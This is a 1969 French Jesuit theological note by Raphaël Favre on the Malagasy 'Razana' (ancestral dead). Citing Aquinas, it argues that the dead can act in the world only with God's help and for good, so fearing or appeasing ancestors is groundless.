Note de théologie sur l’action des « Razana » en ce monde

Le présent article, réflexion du P. Favre Raphaël, missionnaire sj, dans ACM Tome XII, n°6, novembre-décembre 1969, a pour objectif de compléter l’étude menée par le P. Déguisé sur la conception traditionnelle et le culte des « Razana » dans le diocèse de Farafangana, publié dans l’ACM de juillet-août 1969.

I. Que les âmes des morts qui sont auprès de Dieu (c’est-à-dire qui sont au ciel, ou même au purgatoire) puissent intercéder en notre faveur, tous les théologiens l’admettent, avec l’auteur de l’article que nous venons de mentionner. Cette vérité justifie un culte chrétien des Razana, à la condition, pourtant, que ces morts soient vraiment sauvés pour l’éternité. Elle suppose que ces morts savent que nous recourons à eux et qu’ils peuvent intercéder pour nous auprès de Dieu.
On peut en être certain pour les âmes parvenues à la gloire. En effet, jouissant de la béatitude, elles doivent pouvoir connaître et aimer tout ce qui peut légitimement les intéresser en ce monde, spécialement leurs parents et amis. Sinon, il manquerait quelque chose à leur bonheur. II en résulte cette vérité, si consolante pour tant d’âmes, que les Razana qui sont au ciel nous connaissent et nous aiment beaucoup mieux qu’ils ne le faisaient sur la terre. De plus, ils peuvent nous venir en aide en priant pour nous.
Ce qui est dit des élus au ciel peut être dit aussi, mais avec un peu moins de certitude, et « mutatis mutandis« , des âmes du purgatoire.

II. Les possibilités d’action des Razana se limitent-elles à leur intercession ? Ne pourraient-ils pas entrer en relation avec ce monde, par exemple, en mouvant des objets, en agissant sur nos sens (vue, ouïe, toucher), ou sur notre imagination (qu’ils assument pour cela un corps ou non) ?
Ils ne peuvent pas le faire naturellement parlant. En effet, l’âme humaine, créée pour animer un corps, et constituant avec ce corps une unité naturelle, ne peut naturellement agir en ce monde que moyennant son propre corps. Il lui faudrait, pour pouvoir entrer en communication avec nous, une aide spéciale de Dieu (Somme Théologique I, q. 117, a. 4). Aide que Dieu peut parfaitement lui accorder, et, cela va sans dire, uniquement pour notre bien. On peut en conclure, sans plus de développements, que les vivants n’ont absolument rien à craindre de la part de leurs parents morts, ou de la part de quelque mort que ce soit.

III. En réalité, les morts sont ou au ciel, ou au purgatoire, ou en enfer .
1°) Âmes au ciel. Non seulement Dieu peut leur accorder, mais il leur accorde en fait – plutôt rarement – d’apparaître en ce monde et d’entrer en communication avec nous – ordinairement c’est par le ministère des anges que se feraient ces communications. Mais Dieu peut fort bien donner aux âmes séparées de les accomplir elles-mêmes, où qu’elles soient dans l’au-delà.
Les faits de ce genre consignés par l’histoire sont relativement si nombreux qu’il est impossible qu’ils soient tous controuvés.
C’est surtout pour répondre aux prières qu’on leur adresse que ces âmes apparaissent.
Dans ces manifestations surnaturelles, les effets sur les âmes des vivants sont d’une grande douceur : sentiment de présence indéfinissable mais qui remplit l’âme de bonheur ; bonnes pensées, changement de vie, parfois faveurs temporelles (cf. la « pluie de roses »).
2°) Âmes au purgatoire. Elles aussi nous connaissent et nous aiment : elles connaissent tout particulièrement les actes de charité que nous faisons pour elles. Pourtant, n’étant pas encore bienheureuses, mais, supportant les peines de leurs péchés, c’est beaucoup plus rarement qu’elles peuvent intervenir en ce monde, toujours pour une fin bonne. Leurs interventions, lorsqu’elles se produisent, sont rassurantes, apaisantes.
La revue « Ecclesia » (mars 1952) a relaté des apparitions d’âmes du purgatoire dont l’authenticité, au moins à les prendre toutes ensemble, paraît hors de conteste.
La plupart du temps, c’est pour demander des prières qu’elles « reviennent » en ce monde (S. Th., Supp. q. 69, a. 3). Par le fait même, elles raniment la foi des vivants et incitent les pécheurs à la pénitence. Elles « reviennent » parfois, sitôt leur délivrance obtenue, pour remercier leurs bienfaiteurs.
Des faveurs non seulement spirituelles mais temporelles sont souvent attribuées à leur intercession, ce qui est loin d’être impossible : par exemple la protection contre les accidents.
3°) Âmes en enfer. Non seulement elles peuvent agir en ce monde, avec l’aide de Dieu, mais il semble bien qu’elles l’aient fait dans tel ou tel cas. La chose reste tout à fait exceptionnelle. C’est toujours pour le bien des vivants qu’elles apparaissent ou se font entendre : pour leur inspirer des réflexions salutaires et une sainte crainte des jugements divins (Cf. Supp. ibid.).
On serait incliné à penser que ces âmes, qui vouent à Dieu une haine implacable et ne peuvent vouloir que notre mal, pourraient nous nuire en venant en ce monde. Mais Dieu les en empêche. Il les actionne selon ses desseins d’amour. La main d’un débauché illettré, conduite par celle d’un saint, ne pourrait écrire quoi que ce soit d’obscène. Balaam, le devin, le magicien, l’oracle des faux-dieux, devait jadis, sur l’ordre de Balach, roi de Moab, maudire le peuple d’Israël entrant dans la Terre Promise. Malgré toute sa malveillance, Balaam se sent dans l’impossibilité de le faire : bien plus, Dieu ne met dans sa bouche que des paroles de bénédiction. C’est un peu de la même manière que Dieu fit prophétiser Caïphe sans qu’il le sût, lorsqu’il lui fit annoncer que le Christ devait mourir pour le salut du monde.
Nous n’avons rien à craindre ici-bas, même de la part des âmes condamnées à l’enfer. Elles ne peuvent agir qu’avec l’aide de Dieu, et « Dieu ne fait pas peur » (Curé d’Ars).

C’est pourquoi sont dénuées de raison et sans fondement aucun :
– toutes les craintes de représailles que les Razana pourraient exercer contre les vivants ;
– toutes les démarches (offrandes, sacrifices, etc.) tendant à prévenir ou à calmer leur susceptibilité ou leur irascibilité ;
– les multiples astuces imaginées pour désorienter ou « dérouter » les âmes des morts, lors des enterrements ou des famadihana ; etc.
La vraie religion épanouit les âmes ; elle leur donne la paix, le bonheur. « Veritas liberabit vos« .

IV. Une difficulté pourtant demeure. Il n’est pas douteux que des faits troublants existent, et la vie des humains en est souvent meurtrie : maladies inexplicables, accidents de toute sorte, comportements étranges… Les Razana sont aussitôt mis en cause. N’est-ce pas vengeance de leur part ?
En réalité, ces cas malheureux sont ou de simples coïncidences, ou peuvent s’expliquer (comme c’est presque toujours le cas) par le concours normal des causes naturelles (causes dont nous ignorons souvent la nature). Des interventions supra-naturelles (diaboliques) restent toujours possibles, l’Évangile nous l’apprend. Mais dans tous ces cas, les Razana ne sont pour rien. Nous l’avons suffisamment prouvé.
De même, ce ne sont jamais les âmes des morts qui répondent aux évocations des esprits. L’action de Dieu ne pourrait se prêter à de tels jeux. S’il n’y a pas supercherie (c’est le cas le plus ordinaire) ou quelque autre cause naturelle, c’est à la « Puissance des Ténèbres » qu’il faut attribuer les phénomènes en question.

Raphaël FAVRE, S.J.

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